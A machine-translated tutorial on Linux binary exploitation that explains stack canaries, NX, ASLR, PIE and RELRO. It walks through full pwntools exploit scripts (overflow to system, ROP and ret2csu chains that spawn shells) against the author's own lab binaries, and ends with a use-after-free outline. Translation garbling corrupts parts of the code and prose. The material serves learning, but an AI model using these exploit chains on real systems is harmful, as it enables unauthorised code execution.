Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What are the entry-level knowledge points of Linux pwn

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

This article introduces the relevant knowledge of "what are the basic knowledge points of Linux pwn". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

PWN is a hacker-grammatical slang word derived from the word "own" to mean that players have a winning advantage throughout the game.

Common Protection mechanisms of linux programs

Let's first learn some protection measures for linux. The operating system provides many security mechanisms to try to reduce or prevent the security risks caused by buffer overflow attacks, including DEP, ASLR, and so on. Learn the protective measures of linux from checksec. Checksec can check various security properties of executable files, including Arch,RELRO,Stack,NX,PIE, and so on.

Pip installs pwntools and comes with checksec to check the elf file.

Checksec xxxx.soArch: aarch74-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledbrew install binutils

In addition, the author's operating system is macOS, and some commonly used linux commands such as readelf require additional brew install binutils installation.

Wget https://github.com/slimm609/checksec.sh/archive/2.1.0.tar.gztar xvf 2.1.0.tar.gz./checksec.sh-2.1.0/checksec-- file=xxx

Checksec function included in the peda plug-in in gdb

Gdb level4 / / load the target program gdb-peda$ checksec CANARY: disabledFORTIFY: disabledNX: ENABLEDPIE: disabledRELRO: PartialCANNARY Canary (stack protection) / Stack protect/ stack overflow protection

Stack overflow protection is a means to mitigate buffer overflow attacks. When there is a buffer overflow attack vulnerability in the function, the attacker can overwrite the return address on the stack so that the shellcode can be executed. When stack guard is enabled, the cookie information is first inserted into the stack when the function starts execution. When the function actually returns, it verifies whether the cookie information is legal, and stops the program if it is illegal. Attackers often overwrite the cookie information when overwriting the return address, resulting in the failure of stack protection check and preventing the execution of shellcode. In Linux, we refer to cookie information as canary/ canaries. In version 4.2, gcc added-fstack-protector and-fstack-protector-all compilation parameters to support stack protection, and 4.9 added-fstack-protector-strong compilation parameters to extend the scope of protection.

The enable command is as follows:

Gcc-o test test.c / / enable Canary protection gcc-fno-stack-protector-o test test.c / / disable stack protection gcc-fstack-protector- o test test.c / / enable stack protection, but only enable stack protection for inserting protection code gcc-fstack-protector-all-o test test.c / / for functions with char arrays in local variables Insert protection code FORTIFY/ for all functions a slight check

Fority actually does a very slight check to see if there is a buffer overflow error. The case is that the program uses a large number of string or memory manipulation functions, such as memcpy,memset,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets and wide character variants. If FORTIFY_SOURCE is set to 1, and the compiler is set to optimize 1 (gcc-O1), and if the above situation occurs, the program will be checked at compile time without changing the program function. The opening command is as follows:

Gcc-o test test.c / / by default, this check gcc-D_FORTIFY_SOURCE=1-o test test.c / / weak check gcc-D_FORTIFY_SOURCE=1 will only be checked at compile time (especially some header files # include) _ FORTIFY_SOURCE is set to 1, and the compiler is set to optimize 1 (gcc-O1), and the above situation occurs Then the program will be checked while compiling but will not change the program function gcc-D_FORTIFY_SOURCE=2-o test test.c / / A strong check when the gcc-D_FORTIFY_SOURCE=2 program executes (if a buffer overflow is detected, the program will be terminated) _ FORTIFY_SOURCE will be set to 2, some check functions will be added, but this may cause the program to crash.

Looking at the compiled binary assembly, we can see that gcc generates some additional code to replace strcpy, memcpy, memset and other function names by judging the size of the array to prevent buffer overflow.

NX/DEP/ data execution protection

Data execution Protection (DEP) (Data Execution Prevention) is a set of hardware and software technology that performs additional checks on memory to help prevent malicious code from running on the system. In Windows versions of Microsoft Windows XP Service Pack 2 and above, DEP is enforced by both hardware and software. CPU that supports DEP uses a technique called NX (No eXecute) not to execute to identify marked areas. If it is found that the currently executed code is not explicitly marked as executable (such as the part of the code that is overflowed to the code execution area by a virus after the program is executed), it is prohibited from execution. then a virus or network attack that exploits an overflow attack cannot be destroyed by an overflow. If CPU does not support DEP,Windows, it will simulate some of the functions of DEP in a software way. NX means No-eXecute. The basic principle of NX (DEP) is to identify the memory page where the data is located as unexecutable. When the program overflow is successfully transferred to shellcode, the program will try to execute instructions on the data page, and CPU will throw an exception instead of executing malicious instructions.

The enable command is as follows:

Gcc-o test test.c / / enable NX protection gcc-z execstack-o test test.c / / disable NX protection gcc-z noexecstack-o test test.c / / enable NX protection

Under Windows, a similar concept is DEP (data execution protection), and the DEP compilation option is turned on by default in the latest version of Visual Studio.

ASLR (Address space layout randomization)

ASLR is a kind of security protection technology against buffer overflow. By randomizing the layout of linear areas such as heap, stack and shared library mapping, it is more difficult for attackers to predict the destination address and prevent attackers from directly locating the location of the attack code, so as to prevent overflow attacks. Nowadays, mainstream operating systems such as Linux, FreeBSD, Windows and so on have adopted this technology. This technology requires the cooperation of the operating system and software. After ASLR uses this technology in linux, the address will be changed after killing a program and reopening it.

Close ASLR on Linux, switch to root user, and enter the command

Echo 0 > / proc/sys/kernel/randomize_va_space

Open ASLR, switch to the root user, and enter the command

Echo 2 > / proc/sys/kernel/randomize_va_space

The serial number above means as follows:

0-turns off process address space randomization.

1-means to randomize the base address of mmap, stack and vdso pages.

2-means to increase the randomization of the heap on the basis of 1.

It can prevent attacks against DEP based on Ret2libc mode. ASLR is used in conjunction with DEP to effectively prevent attackers from running malicious code on the stack.

PIE and PIC

PIE was first implemented by RedHat, who added the-pie option to the connection, so that objects compiled with-fPIE can get a location-independent executable through the connector. FPIE is a little different from fPIC. Both-fPIC and-fpic are options added at compile time to generate location-independent code (Position-Independent-Code). Both options allow code to use relative addresses when loaded into memory, and all access to fixed addresses is achieved through the global offset table (GOT). The biggest difference between-fPIC and-fpic is whether there is a limit on the size of the GOT. -fPIC has no limit on the size of the GOT table, so if you are uncertain, using-fPIC is a better choice. -fPIE and-fpie are equivalent. This option is roughly the same as-fPIC/-fpic, except that-fPIC is used to generate dynamic libraries, and-fPIE is used to generate executables. To put it bluntly:-fPIE is used to generate location-independent executable code.

PIE and ASLR do not have the same function. ASLR can only randomize heaps, stacks, libc and mmap, but not code segments, such as code segments and data segments. Code segments and data segments can be randomized using PIE+ASLR. The difference is that ASLR is the system function option, and PIE and PIC are compiler function options. The point of contact is that the PIE will not take effect until ASLR is enabled.

The enable command is as follows:

Gcc-o test test.c / / by default, PIEgcc-fpie-pie-o test test.c / / enables PIE, the strength is 1gcc-fPIE-pie-o test test.c / / enable PIE, the highest strength is 2gcc-fpic-o test test.c / / enable PIC, and the strength is 1 PIEgcc-fPIC-o test test.c / / enable PIC, maximum strength 2, and PIERELRO (read only relocation) will not be enabled

In many cases, the area of memory that can be written when exploiting vulnerabilities is usually the target of hackers, especially the area where function pointers are stored. While dynamically linked ELF binaries use a lookup table called global offset table (GOT) to dynamically parse functions in shared libraries, GOT has become one of the targets concerned by hackers.

GCC, GNU linker and Glibc-dynamic linker work together to implement a technology called relro: read only relocation. The implementation is probably a dynamic linker-processed relocation area of the binary specified by linker, and the GOT is read-only. Set the symbol redirection table to read-only or parse and bind all dynamic symbols when the program starts, thereby reducing attacks on GOT (Global Offset Table). If RELRO is "Partial RELRO", we have write access to the GOT table.

The enable command is as follows:

Gcc-o test test.c / / by default, Partial RELROgcc-z norelro-o test test.c / / is turned off, that is, No RELROgcc-z lazy-o test test.c / / is partially enabled, that is, Partial RELROgcc-z now-o test test.c / / is all on

When FullRELRO is enabled, the got table cannot be overwritten when writing and utilizing.

Common integration of pwntools with pwn tools

Pwntools is a binary utilization framework. There are many tutorials about the usage of pwntools on the Internet. Learning pwntools well is helpful to exploit and understand vulnerabilities. Python-based exploit scripts can be developed using the pwntools library.

Pycharm

Pycharm can debug and write attack scripts in real time, which improves the efficiency of writing and utilization.

Execute on a remote host

Socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

The pwn code is developed with pycharm tool, and the remote connection program is tested for pwn. You need to set the environment variable TERM=linux;TERMINFO=/etc/terminfo and check Emulate terminal in output coonsoole and then pwntools's python script uses the remote connection

P = remote ('172.16.36.176, 10001) ida...raw_input () # for debug...p.interactive ()

When the python script developed by pwntools is paused, the remote ida can attach viewing information

Gdb appends #! / usr/bin/python#-*-coding: UTF-8-*-import pwn...# Get PID (s) of target. The returned PID (s) depends on the type of target:m_pid=pwn.proc.pidof (p) [0] print ("attach d" m_pid) pwn.gdb.attach (m_pid) # Link gdb debugging First press n in the gdb interface to return to the python console enter to continue (two windows synchronize) print ("\ n#sending payload#\ n") p.send (payload) pwn.pause () p.interactive () gdb plug-in enumeration

1) PEDA-Python Exploit Development Assistance for GDB (https://github.com/longld/peda) can clearly view stack information, register and disassembly information git clone https://github.com/longld/peda.git~/panda/peda echo "source ~ / panda/peda/peda.py" > > ~ / .gdbinit

2) GDB Enhanced Features (an enhanced version of https://github.com/hugsy/gef) peda because it supports more architectures (ARM, MIPS, POWERPC …) , and more powerful modules, and linkage with ida

3) libheap (view heap information) pip3 install libheap-- verbose

EDB attach

EDB is a visual cross-platform debugger, much like Ollydbg on win.

Lldb plug-in

Voltron & lisa. A plug-in with a comfortable ui interface and a simple but functional plug-in.

Voltron and tmux will produce good results, as follows:

Practice

Through a few examples to learn about several common means of protection and familiar with common attacks. Practice platform ubuntu 14.16_x64

Practice 1 Stack overflow uses overflow to change the program to compile test case # include # include # include void callsystem () {system ("/ bin/sh");} void vulnerable_function () {char buf [128]; read (STDIN_FILENO, buf, 512);} int main (int argc, char** argv) {write (STDOUT_FILENO, "Hello, World\ n", 13) / / dev/stdin fd/0// / dev/stdout fd/1// / dev/stderr fd/2 vulnerable_function ();}

Compilation method:

#! bashgcc-fno-stack-protector linux_x64_test1.c-o linux_x64_test1-ldl / / disable stack protection

The tests are as follows:

Gdb-peda$ checksec linux_x64_test1CANARY: disabledFORTIFY: disabledNX: ENABLEDPIE: disabledRELRO: Partial

Found no stack protection, no CANARY protection

Generate constructed data

Here is a script pattern.py to generate random data, which comes from here

Python2 pattern.py create 150Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 gets overflow offset

Debugging with lldb

Panda@ubuntu:~/Desktop/test$ lldb linux_x64_test1 (lldb) target create "linux_x64_test1" Current executable set to 'linux_x64_test1' (x86 / 64). (lldb) runProcess 117360 launched:' / home/panda/Desktop/test/linux_x64_test1' (x86 / 64) Hello, WorldAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Process 117360 stopped* thread # 1: tid = 117360, 0x00000000004005e7 linux_x64_ Test1 `clients _ function + 32, name = 'linux_x64_test1' Stop reason = signal SIGSEGV: invalid address (fault address: 0x0) frame # 0: 0x00000000004005e7 linux_x64_ Test1`bread _ function + 32linuxtest1`function:- > 0x4005e7: retqlinux_x64_ Test1`main: 0x4005e8: pushq% rbp 0x4005e9: movq% rsp,% rbp 0x4005ec: subq $0x10,% rsp (lldb) x/xg $rsp0x7fffffffdd58: 0x3765413665413565python2 pattern.py offset 0x3765413665413565hex pattern decoded as: e5Ae6Ae7136

Found that the length of the overflow string is 136+ret_address.

Get the address of callsystem function

Because there is an auxiliary function callsystem in the code, get the address directly

Panda@ubuntu:~/Desktop/test$ nm linux_x64_test1 | grep call00000000004005b6 T callsystem write and test the use of _ rights

Pwntools is a binary exploitation framework, you can use python to write some scripts to facilitate the purpose of exploiting vulnerabilities, of course, you can also use other means.

Import pwn# p = pwn.process (". / linux_x64_test1") p = remote ('172.16.36.174 dollars, 10002) callsystem_address = 0x000000004005b6payload = "A" * 136 + pwn.p64 (callsystem_address) p.send (payload) p.interactive ()

Test and use to get shell

Panda@ubuntu:~/Desktop/test$ python test.py [+] Starting local process'. / linux_x64_test1': pid 117455 [*] Switching to interactive modeHello, World$ whoamipanda

Set the binary program as the server program, which will not be described in subsequent articles

Socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

Test remote program

Panda@ubuntu:~/Desktop/test$ python test2.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive modeHello, World$ whoamipanda

If the process is root

Sudo socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

The remote program was tested and the rights were raised successfully.

Panda@ubuntu:~/Desktop/test$ python test.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive modeHello, World$ whoamiroot practice 2 stack overflow compiles test cases through ROP bypass DEP and ASLR protection

After ASLR is enabled, the libc address will change constantly. Instead of discussing how to obtain the real system address here, a helper function is used to print the system address.

# include # include void systemaddr () {void* handle = dlopen ("libc.so.6", RTLD_LAZY); printf ("% p\ n", dlsym (handle, "system")); fflush (stdout);} void vulnerable_function () {char buf; read (STDIN_FILENO, buf, 512);} int main (int argc, char** argv) {systemaddr (); write (1, "Hello, World\ n", 13) Vulnerable_function ();}

Compilation method:

#! bashgcc-fno-stack-protector linux_x64_test2.c-o linux_x64_test2-ldl / / disable stack protection

The tests are as follows:

Gdb-peda$ checksec linux_x64_test2CANARY: disabledFORTIFY: disabledNX: ENABLEDPIE: disabledRELRO: Partial

Observe ASLR, run it twice, and find that the address of the system function of libc will change each time.

Brief introduction of panda@ubuntu:~/Desktop/test$. / linux_x64_test2 0x7f9d7d71a390Hello, Worldpanda@ubuntu:~/Desktop/test$. / linux_x64_test2 0x7fa84dc3d390Hello, WorldROP

ROP, known as Return-oriented programming (return oriented programming), is an advanced memory attack technology that can be used to bypass various common defenses of modern operating systems (such as memory non-executable DEP and code signatures, etc.).

Looking for ROP

We want to finally execute system ("/ bin/sh"), passing in the address of "/ bin/sh" and the system address of the function after the buffer overflow. The gadget of x64 we want is generally as follows:

Pop rdi / / rdi= "/ bin/sh" ret / / call system_addrpop rdi / / rdi= "/ bin/sh" pop rax / / rax= system_addrcall rax / / call system_addr

Aslr is enabled in the system. Gadget can only be calculated by relative offset and searched in binary. The tool ROPgadget is used here.

Panda@ubuntu:~/Desktop/test$ ROPgadget-binary linux_x64_test2-only "pop | sret" Gadgets information===Unique gadgets found: 0

Get binary links

Panda@ubuntu:~/Desktop/test$ ldd linux_x64_test2 linux-vdso.so.1 = > (0x00007ffeae9ec000) libdl.so.2 = > / lib/x86_64-linux-gnu/libdl.so.2 (0x00007fdc0531f000) libc.so.6 = > / lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc04f55000) / lib64/ld-linux-x86-64.so.2 (0x00007fdc05523000)

Search the library for pop ret

Panda@ubuntu:~/Desktop/test$ ROPgadget-- binary / lib/x86_64-linux-gnu/libc.so.6-- only "pop | ret" | grep rdi0x0000000000020256: pop rdi; pop rbp; ret0x0000000000021102: pop rdi; ret

Decided to use 0x0000000000021102

Search the library for / bin/sh strings

Panda@ubuntu:~/Desktop/test$ ROPgadget-- binary / lib/x86_64-linux-gnu/libc.so.6-- string "/ bin/sh" Strings information===0x000000000018cd57: / bin/sh construction leverages and tests

Two kinds of gadgets are realized here, which are version1 and version2.

#! / usr/bin/python#-*-coding: UTF-8-*-import pwnlibc = pwn.ELF (". / libc.so.6") # p = pwn.process (". / linux_x64_test2") p = pwn.remote ("127.0.0.1", 10001) systema_addr_str = p.recvuntil ("\ n") systema_addr = int (systema_addr_str 16) # now system addrbinsh_static = 0x000000000018cd57binsh3_static = next (libc.search ("/ bin/sh")) print ("binsh_static = 0x%x"% binsh_static) print ("binsh3_static = 0x%x"% binsh3_static) binsh_offset = binsh3_static-libc.symbols ["system"] # offset = static1-static2print ("binsh_offset = 0x%x"% binsh_offset) binsh_addr = binsh_offset + systema_addrprint ("binsh_addr" = 0x%x "% binsh_addr) # version1# pop_ret_static = 0x0000000000021102 # pop rdi Ret# pop_ret_offset = pop_ret_static-libc.symbols ["system"] # print ("pop_ret_offset = 0x%x"% pop_ret_offset) # pop_ret_addr = pop_ret_offset + systema_addr# print ("pop_ret_addr = 0x%x"% pop_ret_addr) # payload= "A" * 136 + pwn.p64 (pop_ret_addr) + pwn.p64 (binsh_addr) + pwn.p64 (systema_addr) # binsh_addr The first parameter of low x64 is rdi# systema_addr high # version2pop_pop_call_static = 0x0000000000107419 # pop rax Pop rdi Call raxpop_pop_call_offset = pop_pop_call_static-libc.symbols ["system"] print ("pop_pop_call_offset = 0x%x"% pop_pop_call_offset) pop_pop_call_addr = pop_pop_call_offset + systema_addrprint ("pop_pop_call_addr = 0x%x"% pop_pop_call_addr) payload= "A" * 136 + pwn.p64 (pop_pop_call_addr) + pwn.p64 (systema_addr) + pwn.p64 (binsh_addr) # systema_addr low pop rax# binsh_addr and high pop rdiprint ("\ n#sending payload#\ n") p.send (payload) p.interactive ()

The final test is as follows:

Panda@ubuntu:~/Desktop/test$ python test2.py [*]'/ lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process'. / linux_x64_test2': pid 118889binsh_static = 0x18cd57binsh3_static = 0x18cd57binsh_offset = 0x1479c7binsh_addr = 0x7fc3018ffd57pop_ret_offset = 0x -2428epop_ret_addr = 0x7fc301794102#sending payload# [*] Switching to interactive modeHello World$ whoamipanda practice 3 Stack overflows Auxiliary function # include # include # include void vulnerable_function () {char buf [128] Read (STDIN_FILENO, buf, 512);} int main (int argc, char** argv) {write (STDOUT_FILENO, "Hello, World\ n", 13); vulnerable_function ();}

Compilation method:

Gcc-fno-stack-protector linux_x64_test3.c-o linux_x64_test3-ldl / / disable stack guard

Check protection

Gdb-peda$ checksec linux_x64_test3CANARY: disabledFORTIFY: disabledNX: ENABLEDPIE: disabledRELRO: Partialgdb-peda$ quit.bss segment

Related concepts: heap, stack, BSS segment, data segment (data), code segment (code / text), global static area, text constant area, program code area.

BSS section: a BSS segment (bss segment) is usually an area of memory used to store uninitialized global variables in a program.

Data segment: a segment (segment) is usually an area of memory used to store initialized global variables in a program.

Code code segment/text segment: a code snippet (snippet) is usually an area of memory used to store program execution code. The size of this area is determined before the program runs, and the memory area is usually read-only, and some architectures allow code snippets to be writable, that is, to modify the program. In the code snippet, it is also possible to include some read-only constant variables, such as string constants.

Heap (heap): heap is used to store memory segments that are dynamically allocated during the operation of a process. Its size is not fixed and can be dynamically expanded or reduced. When the process calls functions such as malloc to allocate memory, the newly allocated memory is dynamically added to the heap (heap is expanded); when using functions such as free to free memory, the freed memory is removed from the heap (heap is reduced).

Stack (stack): stack, also known as stack, the user stores local variables temporarily created by the program. When the function is called, its parameters are also pressed into the process stack that initiated the call, and after the call ends, the return value of the function is also stored back on the stack. Because of the last-in-first-out characteristics of the stack, the stack is particularly convenient to save / restore the call site.

In the .bss section of the program. The .bss section is used to hold the values of global variables, the address is fixed, and it is readable and writable.

NameTypeAddrOffSizeESFlgLkInfAl name type starting address file offset address area size table area large cell flag related area index other area information alignment bytes panda@ubuntu:~/Desktop/test$ readelf-S linux_x64_test3There are 31 section headers Starting at offset 0x1a48:Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [24] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 008 [25] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 08 [26] .bss NOBITS 00000000601040 00001040 000000000008 00000000000000 WA 00 1Key to Flags: W (write) A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific) P (processor specific) find the right gadgetpanda@ubuntu:~/Desktop/test$ objdump-d linux_x64_test300000000004005c0: 4005c0: 41 57 push% R15 4005c2: 41 56 push% R14 4005c4: 41 89 ff mov% edi % R15d 4005c7: 41 55 push% R13 4005c9: 41 54 push% R12 4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e (% rip),% R12 # 600e10 4005d2: 55 push% rbp 4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e (% rip) % rbp # 600e18 4005da: 53 push% rbx 4005db: 49 89 f6 mov% rsi,%r14 4005de: 49 89 d5 mov% rdx,%r13 4005e1: 4c 29e5 sub% R12 4005e4% RBP 4005e4: 48 83 ec 08 sub $0x8 % rsp 4005e8: 48 C1 fd 03 sar $0x3 4005f1% RBP 4005ec: E8 0f fe ff ff callq 400400 4005f1: 48 85 ed test% rbp,%rbp 4005f4: 74 20 je 400616 4005f6: 31 db xor% ebx,%ebx 4005f8: 0f 1f 84 00 00 nopl 0x0 (% rax,%rax 1) 4005ff: 00 400600: 4c 89 ea mov% R13 ea mov% RDX 400603: 4c 89 f6 mov% R14 Magi% RSI 400606: 44 89 ff mov% r15d dc callq% edi 400609: 41 ff 14 dc callq * (% r12 dc callq% rbx Magi 8) 40060d: 48 83 c3 01 add $0x1 % rbx 400611: 48 39 eb cmp% rbp,%rbx 400614: 75 ea jne 400600 400616: 48 83 c4 08 add $0x8 % rsp 40061a: 5b pop% rbx 40061b: 5d pop% rbp 40061c: 41 5c pop% R12 40061e: 41 5d pop% R13 400620: 41 5e pop% R14 400622: 41 5f Pop% R15 400624: C3 retq 400625: 90 nop 400626: 66 2e 0f 1f 84 00 nopw% cs:0x0 (% rax % rax,1) 40062d: 00 00 00

The program's own _ _ libc_csu_init function, does not open PIE.

Question:

Can I directly write the got_system here? Since we all get got_write, which is a static address, can we still call it? does it mean that the got table function can be called casually? Got_system stores the actual libcMur2.23.soaked write address, so execute got_system and print out the actual address

Why not pass the string address of "/ bin/sh" to the last called system ("/ bin/sh"), but write "/ bin/sh" to the bss segment because rdi=r15d=param1 r15d 32-bit cannot be passed to the "/ bin/sh" string address of rdi 64-bit, so it must be written to the writable bss segment, because the program segment is 32-bit

00007f76:f3c0bd57 | 2f 62 69 6e 2f 73 68 00 65 | / bin/sh.e | / / dev/stdin fd/0// / dev/stdout fd/1// / dev/stderr fd/2

Summary:

Return to 0x40061a control rbx,rbp,r12,r13,r14,r15

Return to 0x400600 to execute rdx=r13 rsi=r14 rdi=r15d call callq * (% r12jie% rbxPai8)

So that rbx=0 can finally callq * (r12+rbx*8) = callq * (R12) to construct rop so that it can execute arbitrary functions

You need to disclose the address of the real libc.so in memory in order to get system_addr and getshell, so call got_write (rdi=1,rsi=got_write,rdx=8) back, return write_addr from the server, get system_addr by subtracting the difference between-write_static/libc.symbols ['write'] and system_static/libc.symbols [' system'] by write_addr, and then return to main to restart, but does not end the process.

Call got_read (rdi=0,bss_addr,16), which is equivalent to executing got_read (rdi=0,bss_addr,8), got_read (rdi=0,bss_addr+8,8), sending system_addr, "/ bin/sh", and then returning to main to start over, but does not end the process.

Return to bss_addr (bss_addr+8)-> system_addr (binsh_addr)

Start constructing ROP

View the got table

Panda@ubuntu:~/Desktop/test$ objdump-R linux_x64_test3linux_x64_test3: file format elf64-x86-64DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 0000000000600ff8 R_X86_64_GLOB_DAT _ _ gmon_start__0000000000601018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.50000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.50000000000601028 R_X86_64_JUMP_SLOT _ _ libc_start_main@GLIBC_2.2.5

Then use the code as follows:

#! / usr/bin/python#-*-coding: UTF-8-*-from pwn import * libc_elf = ELF ("/ lib/x86_64-linux-gnu/libc.so.6") linux_x64_test3_elf = ELF (". / linux_x64_test3") # p = process (". / linux_x64_test3") p = remote ("127.0.0.1") 10001) pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40061aprint ("[+] pop_rbx_rbp_r12_r13_r14_r15_ret = 0x%x"% pop_rbx_rbp_r12_r13_r14_r15_ret) rdx_rsi_rdi_callr12_ret = 0x400600print ("[+] rdx_rsi_rdi_callr12_ret = 0x%x"% rdx_rsi_rdi_callr12_ret) "00000000601018 R_X86_64_JUMP_SLOT write@" GLIBC_2.2.50000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5 "" got_write = 0x0000000000601018print ("[+] got_write = 0x%x"% got_write) got_write2=linux_x64_test3_elf.got ["write"] print ("[+] got_write2= 0x%x"% got_write2) got_read = 0x0000000000601020got_read2=linux_x64_test3_elf.got ["read"] "0000000000400587: 400587: 55 Push% rbp "" main_static = 0x0000000000400587# call got_write (rdi=1 Rsi=got_write Rdx=8) # rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_addresspayload1 = "A" * 136 + p64 (pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address: p64 (pop_rbx_rbp_r12_r13_r14_r15_ret) payload1 + = p64 (0) + p64 (1) # rbx=0 rbp=1: p64 (0) + p64 (1) payload1 + = p64 (got_write) # call_address: got_writepayload1 + = p64 (8) # param3: 8payload1 + = p64 (got_write) # param2: got_writepayload1 + = p64 (1) # param1: 1payload1 + = p64 (rdx_rsi_rdi_callr12_ret) # call r12payload1 + = p64 (0) * 7 # add $0x8 % rsp # 6 poppayload1 + = p64 (main_static) # return mainp.recvuntil ('Hello, World\ n') print ("[+] send payload1 call got_write (rdi=1,rsi=got_write) Rdx=8) ") p.send (payload1) sleep (1) write_addr = U64 (p.recv (8)) print (" [+] write_addr = 0x%x "% write_addr) write_static = libc_elf.symbols ['write'] system_static = libc_elf.symbols [' system'] system_addr = write_addr-(write_static-system_static) print (" [+] system_addr = 0x%x "% system_addr)"[26] .bss NOBITS 0000000000601040 00001040 00000000000008 00000000000000 WA 001 "bss_addr = 0x0000000000601040bss_addr2 = linux_x64_test3_elf.bss () print (" [+] bss_addr = 0x%x "% bss_addr) print (" [+] bss_addr2 = 0x%x "% bss_addr2) # call got_read (rdi=0 Rsi=bss_addr, rdx=16) # got_read (rdi=0,rsi=bss_addr, rdx=8) write system# got_read (rdi=0,rsi=bss_addr+8 Rdx=8) write / bin/sh# rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_addresspayload2 = "A" * 136 + p64 (pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address: p64 (pop_rbx_rbp_r12_r13_r14_r15_ret) payload2 + = p64 (0) + p64 (1) # rbx=0 rbp=1: p64 (0) + p64 (1) payload2 + = p64 (got_read) # call_address: got_readpayload2 + = p64 (16) # param3: 16payload2 + = p64 (bss_addr) # param2: bss_addrpayload2 + = p64 (0) # param1: 0payload2 + = p64 (rdx_rsi_rdi_callr12_ret) # call r12payload2 + = p64 (0) * 7 # add $0x8 % rsp 6 poppayload2 + = p64 (main_static) p.recvuntil ('Hello, World\ n') print ("[+] send payload2 call got_read (rdi=0,rsi=bss_addr, rdx=16)") # raw_input () p.send (payload2) # raw_input () p.send (p64 (system_addr) + "/ bin/sh\ 0") # send / bin/sh\ 0 "" 00000000040 | 00007f111b941390 |. | 000000000000601048 | 0068732f6e69622f | / bin/sh. | "sleep (1) p.recvuntil (' Hello) p.recvuntil" World\ n') # call bss_addr (rdi=bss_addr+8) system_addr (rdi=binsh_addr) # rdi=r15d=param1 rsi=r14=param2 rdx=r13=param3 r12=call_addresspayload3 = "A" * 136 + p64 (pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address: p64 (pop_rbx_rbp_r12_r13_r14_r15_ret) payload3 + = p64 (0) + p64 (1) # rbx=0 rbp=1: p64 (0) + P64 (1) payload3 + = p64 (bss_addr) # call_address: bss_addrpayload3 + = p64 (0) # param3: 0payload3 + = p64 (0) # param2: 0payload3 + = p64 (bss_addr+8) # param1: bss_addr+8payload3 + = p64 (rdx_rsi_rdi_callr12_ret) # call r12payload3 + = p64 (0) * 7 # add $0x8 % rsp 6 poppayload3 + = p64 (main_static) print ("[+] send payload3 call system_addr (rdi=binsh_addr)") p.send (payload3) p.interactive () practice 4 _ release and use (Use-After-Free) learning

Using 2016HCTF_fheap as the learning goal, there are format character vulnerabilities and UAF vulnerabilities. The format string function can accept a variable number of parameters and parse the subsequent parameters according to the first parameter as a formatted string. The format character vulnerability is that the control of the first parameter may cause arbitrary address reading and writing. The Use-After-Free vulnerability is that after a memory block is released, its corresponding pointer is not set to NULL, and another application for a memory block to specially rewrite memory results in arbitrary address reading or hijacking of control flow.

Analysis program

Checksec query found it was all open.

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

The program is very simple, just three operations, create,delete,quit

Leak point

In the delete operation, it is found that the structure pointer is not set to NULL after calling the free pointer function to release the structure, so that UAF can be implemented, as shown in the following figure

The create function will first apply for the memory heap storage structure of 0x20 bytes. If the length of the input string is greater than 0xf, it will also apply for space storage data of the specified length, otherwise it will be stored in the first 16 bytes of the previously applied 0x20 bytes, and finally, the address of the relevant free function will be stored in the last eight bytes of the heap storage structure.

In create, the global structure points to the memory we applied for

In this way, you can maliciously construct structural data, use uaf to overwrite the function pointer of the result of the old data, print out the function address, and reveal the binary base base address. The main logic is as follows:

Create (4 create old_chunk0 but program placeholder old_chunk0_size=0x30 application 0x20create (4 create old_chunk1 but program placeholder old_chunk1_size=0x30 application 0x20 release chunk1 release chunk0create (0x20 create chunk0 placeholder old_chunk0, placeholder old_chunk1 create chunk1 override old_chunk1- > data- > free as puts

If the delete operation is executed at this point, it will be executed

Free (ptr)-> puts (ptr- > buffer and the puts address overwritten later)

Print out the puts_addr address, and then calculate the offset to get the binary base address, as follows:

Bin_base_addr = puts_addr-offset

